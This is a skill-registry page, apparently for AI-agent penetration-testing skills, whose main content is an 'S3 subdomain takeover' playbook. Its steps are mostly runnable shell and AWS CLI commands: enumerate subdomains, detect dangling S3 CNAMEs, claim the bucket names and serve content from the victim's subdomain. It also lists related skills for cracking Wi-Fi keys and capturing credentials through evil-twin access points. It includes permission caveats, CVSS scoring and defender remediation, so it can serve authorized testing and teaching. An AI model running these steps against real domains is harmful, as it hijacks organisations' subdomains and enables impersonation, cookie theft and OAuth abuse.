[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFCBXADEYDCKXTSD5CBY4T":3,"skill-same:01M7DFCBXADEYDCKXTSD5CBY4T":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFCBXADEYDCKXTSD5CBY4T","s3-takeover",null,"Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fs3-takeover\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: s3-takeover\ndescription: Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).\nmetadata:\n  subdomain: cloud\n  when_to_use: \"s3 bucket takeover dangling cname\"\n  mitre_attack:\n    - T1584.006\n    - T1583.006\n---\n\n# S3 Subdomain Takeover\n\nWhen a subdomain has a `CNAME` to an S3 hostname (e.g.\n`assets.example.com → assets-example.s3.amazonaws.com`) but the bucket\nno longer exists, **anyone can register that bucket name and serve\ncontent from the subdomain**.\n\n## 1. Enumerate subdomains pointing at S3\nFrom recon SUMMARY.md, look for any CNAME containing:\n- `s3.amazonaws.com`\n- `s3-website-\u003Cregion>.amazonaws.com`\n- `s3.\u003Cregion>.amazonaws.com`\n- `s3-website.\u003Cregion>.amazonaws.com`\n- `\u003Cbucket>.s3.\u003Cregion>.amazonaws.com`\n- CloudFront\u002FCDN distributions backed by S3 (`.cloudfront.net`)\n\nOr run direct:\n```bash\n# Subdomain dump\nsubfinder -d example.com -silent > \u002Ftmp\u002Fsubs.txt\n\n# Check CNAMEs\nfor s in $(cat \u002Ftmp\u002Fsubs.txt); do\n  cname=$(dig +short CNAME \"$s\" 2>\u002Fdev\u002Fnull | head -1)\n  if echo \"$cname\" | grep -qE 's3.*amazonaws|cloudfront'; then\n    echo \"$s -> $cname\"\n  fi\ndone > \u002Ftmp\u002Fs3-candidates.txt\n```\n\n## 2. Verify dangling\nFor each candidate:\n```bash\n# Try to GET the subdomain - look for the S3 \"NoSuchBucket\" error\ncurl -s -o \u002Ftmp\u002Fr.html \"https:\u002F\u002F$SUBDOMAIN\u002F\" -w '%{http_code}\\n'\ngrep -E 'NoSuchBucket|BucketNotFound|\u003CCode>NoSuchBucket\u003C\u002FCode>' \u002Ftmp\u002Fr.html\n\n# Or query the bucket name directly\nBUCKET=$(echo \"$CNAME\" | awk -F'.' '{print $1}')\naws s3 ls \"s3:\u002F\u002F$BUCKET\u002F\" --no-sign-request 2>&1\n# \"NoSuchBucket\" \u002F \"The specified bucket does not exist\" = dangling\n```\n\nRaptix helper:\n```\ns3_takeover_check(\"\u003Csubdomain>\")\n```\n\n## 3. Claim the bucket\n```bash\n# In the SAME region the CNAME implies\naws s3api create-bucket \\\n  --bucket \"$BUCKET\" \\\n  --region us-east-1 \\\n  --create-bucket-configuration LocationConstraint=us-east-1\n# (us-east-1 omits the LocationConstraint)\n```\n\n**Race conditions**:\n- AWS sometimes blocks names of recently-deleted buckets (cooldown). If\n  it errors with \"BucketAlreadyExists\" or \"Bucket name reserved\", the\n  takeover window has closed (or is gated).\n- For high-value targets, attempt in different regions — some CNAMEs\n  don't specify region and AWS DNS resolves to whichever region you\n  create the bucket in.\n\n## 4. Demonstrate impact (safe)\n**Static page proof** (engagement context — get explicit permission first):\n```bash\necho '\u003Ch1>S3 subdomain takeover PoC\u003C\u002Fh1>\u003Cp>Demonstrated by ENGAGEMENT-ID\u003C\u002Fp>' > \u002Ftmp\u002Findex.html\naws s3 cp \u002Ftmp\u002Findex.html \"s3:\u002F\u002F$BUCKET\u002Findex.html\"\naws s3 website \"s3:\u002F\u002F$BUCKET\u002F\" --index-document index.html\n\n# Now curl https:\u002F\u002F$SUBDOMAIN\u002F returns your content\n```\n\nDO NOT:\n- Serve actual exploit content (XSS, drive-by, phishing)\n- Capture cookies even though you can (same-origin to the org)\n- Leave the bucket up post-engagement\n\nDO:\n- Take a timestamped screenshot of your benign content served from the subdomain\n- Hand the bucket name over to defender for transfer \u002F cooldown\n- Delete the bucket after PoC: `aws s3 rb \"s3:\u002F\u002F$BUCKET\" --force`\n\n## 5. Impact framing\nA claimed S3 bucket on an org subdomain gives:\n- **Same-origin scripting** vs every page on that subdomain\n- **Cookie access** for cookies scoped to the parent domain (`.example.com`)\n- **OAuth redirect_uri** abuse if the subdomain is a registered redirect\n- **MITM-class trust** — orgs publish links to the subdomain assuming control\n- **TLS** is \"free\" via the org's own ACM cert if Route 53 + ACM are\n  configured, otherwise it's an HTTP-only takeover (still bad)\n\n## 6. Promote\nNote in your findings record (your role has no direct KG write tool —\nthe auto-ingest pipeline and the orchestrator own graph writes):\n`S3 takeover: \u003Csubdomain>` (severity high, bucket \u003Cbucket>,\nregion \u003Cregion>) granting impersonation of the org domain.\n\n## CVSS\n- Subdomain with active OAuth flow \u002F cookie scope: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:N` = 8.7\n- Static-content subdomain only: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:N` = 7.5\n- Subdomain with no apparent purpose (unused): Medium 5-6\n\n## Defender remediation\n```bash\n# Find every S3 CNAME the org publishes\naws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \\\n  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \\\n  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > \u002Ftmp\u002Fcnames.json\n\n# Cross-check against existing buckets\njq -r '.[] | select(.ResourceRecords[].Value | test(\"s3.*amazonaws\")) | .Name' \u002Ftmp\u002Fcnames.json | \\\n  while read sd; do\n    bucket=$(dig +short CNAME \"$sd\" | head -1 | sed 's\u002F.s3.*\u002F\u002F; s\u002F.$\u002F\u002F')\n    aws s3api head-bucket --bucket \"$bucket\" 2>&1 | grep -q \"Not Found\" && echo \"DANGLING: $sd -> $bucket\"\n  done\n```\n\n## Known exemplars\n- 2017: Uber subdomain takeover via S3 → reported via H1, $7.5k\n- 2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets\n- 2022: Detectify scan found 350+ Fortune-500 dangling S3 records\n- Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly\n","# S3 Subdomain Takeover\n\nWhen a subdomain has a `CNAME` to an S3 hostname (e.g.\n`assets.example.com → assets-example.s3.amazonaws.com`) but the bucket\nno longer exists, **anyone can register that bucket name and serve\ncontent from the subdomain**.\n\n## 1. Enumerate subdomains pointing at S3\nFrom recon SUMMARY.md, look for any CNAME containing:\n- `s3.amazonaws.com`\n- `s3-website-\u003Cregion>.amazonaws.com`\n- `s3.\u003Cregion>.amazonaws.com`\n- `s3-website.\u003Cregion>.amazonaws.com`\n- `\u003Cbucket>.s3.\u003Cregion>.amazonaws.com`\n- CloudFront\u002FCDN distributions backed by S3 (`.cloudfront.net`)\n\nOr run direct:\n```bash\n# Subdomain dump\nsubfinder -d example.com -silent > \u002Ftmp\u002Fsubs.txt\n\n# Check CNAMEs\nfor s in $(cat \u002Ftmp\u002Fsubs.txt); do\n  cname=$(dig +short CNAME \"$s\" 2>\u002Fdev\u002Fnull | head -1)\n  if echo \"$cname\" | grep -qE 's3.*amazonaws|cloudfront'; then\n    echo \"$s -> $cname\"\n  fi\ndone > \u002Ftmp\u002Fs3-candidates.txt\n```\n\n## 2. Verify dangling\nFor each candidate:\n```bash\n# Try to GET the subdomain - look for the S3 \"NoSuchBucket\" error\ncurl -s -o \u002Ftmp\u002Fr.html \"https:\u002F\u002F$SUBDOMAIN\u002F\" -w '%{http_code}\\n'\ngrep -E 'NoSuchBucket|BucketNotFound|\u003CCode>NoSuchBucket\u003C\u002FCode>' \u002Ftmp\u002Fr.html\n\n# Or query the bucket name directly\nBUCKET=$(echo \"$CNAME\" | awk -F'.' '{print $1}')\naws s3 ls \"s3:\u002F\u002F$BUCKET\u002F\" --no-sign-request 2>&1\n# \"NoSuchBucket\" \u002F \"The specified bucket does not exist\" = dangling\n```\n\nRaptix helper:\n```\ns3_takeover_check(\"\u003Csubdomain>\")\n```\n\n## 3. Claim the bucket\n```bash\n# In the SAME region the CNAME implies\naws s3api create-bucket \\\n  --bucket \"$BUCKET\" \\\n  --region us-east-1 \\\n  --create-bucket-configuration LocationConstraint=us-east-1\n# (us-east-1 omits the LocationConstraint)\n```\n\n**Race conditions**:\n- AWS sometimes blocks names of recently-deleted buckets (cooldown). If\n  it errors with \"BucketAlreadyExists\" or \"Bucket name reserved\", the\n  takeover window has closed (or is gated).\n- For high-value targets, attempt in different regions — some CNAMEs\n  don't specify region and AWS DNS resolves to whichever region you\n  create the bucket in.\n\n## 4. Demonstrate impact (safe)\n**Static page proof** (engagement context — get explicit permission first):\n```bash\necho '\u003Ch1>S3 subdomain takeover PoC\u003C\u002Fh1>\u003Cp>Demonstrated by ENGAGEMENT-ID\u003C\u002Fp>' > \u002Ftmp\u002Findex.html\naws s3 cp \u002Ftmp\u002Findex.html \"s3:\u002F\u002F$BUCKET\u002Findex.html\"\naws s3 website \"s3:\u002F\u002F$BUCKET\u002F\" --index-document index.html\n\n# Now curl https:\u002F\u002F$SUBDOMAIN\u002F returns your content\n```\n\nDO NOT:\n- Serve actual exploit content (XSS, drive-by, phishing)\n- Capture cookies even though you can (same-origin to the org)\n- Leave the bucket up post-engagement\n\nDO:\n- Take a timestamped screenshot of your benign content served from the subdomain\n- Hand the bucket name over to defender for transfer \u002F cooldown\n- Delete the bucket after PoC: `aws s3 rb \"s3:\u002F\u002F$BUCKET\" --force`\n\n## 5. Impact framing\nA claimed S3 bucket on an org subdomain gives:\n- **Same-origin scripting** vs every page on that subdomain\n- **Cookie access** for cookies scoped to the parent domain (`.example.com`)\n- **OAuth redirect_uri** abuse if the subdomain is a registered redirect\n- **MITM-class trust** — orgs publish links to the subdomain assuming control\n- **TLS** is \"free\" via the org's own ACM cert if Route 53 + ACM are\n  configured, otherwise it's an HTTP-only takeover (still bad)\n\n## 6. Promote\nNote in your findings record (your role has no direct KG write tool —\nthe auto-ingest pipeline and the orchestrator own graph writes):\n`S3 takeover: \u003Csubdomain>` (severity high, bucket \u003Cbucket>,\nregion \u003Cregion>) granting impersonation of the org domain.\n\n## CVSS\n- Subdomain with active OAuth flow \u002F cookie scope: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:H\u002FI:H\u002FA:N` = 8.7\n- Static-content subdomain only: `CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:N` = 7.5\n- Subdomain with no apparent purpose (unused): Medium 5-6\n\n## Defender remediation\n```bash\n# Find every S3 CNAME the org publishes\naws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \\\n  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \\\n  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > \u002Ftmp\u002Fcnames.json\n\n# Cross-check against existing buckets\njq -r '.[] | select(.ResourceRecords[].Value | test(\"s3.*amazonaws\")) | .Name' \u002Ftmp\u002Fcnames.json | \\\n  while read sd; do\n    bucket=$(dig +short CNAME \"$sd\" | head -1 | sed 's\u002F.s3.*\u002F\u002F; s\u002F.$\u002F\u002F')\n    aws s3api head-bucket --bucket \"$bucket\" 2>&1 | grep -q \"Not Found\" && echo \"DANGLING: $sd -> $bucket\"\n  done\n```\n\n## Known exemplars\n- 2017: Uber subdomain takeover via S3 → reported via H1, $7.5k\n- 2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets\n- 2022: Detectify scan found 350+ Fortune-500 dangling S3 records\n- Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"cloud","s3 bucket takeover dangling cname",[28,29],"T1584.006","T1583.006","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fs3-takeover","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill s3-takeover",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill s3-takeover",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill s3-takeover","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fs3-takeover\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]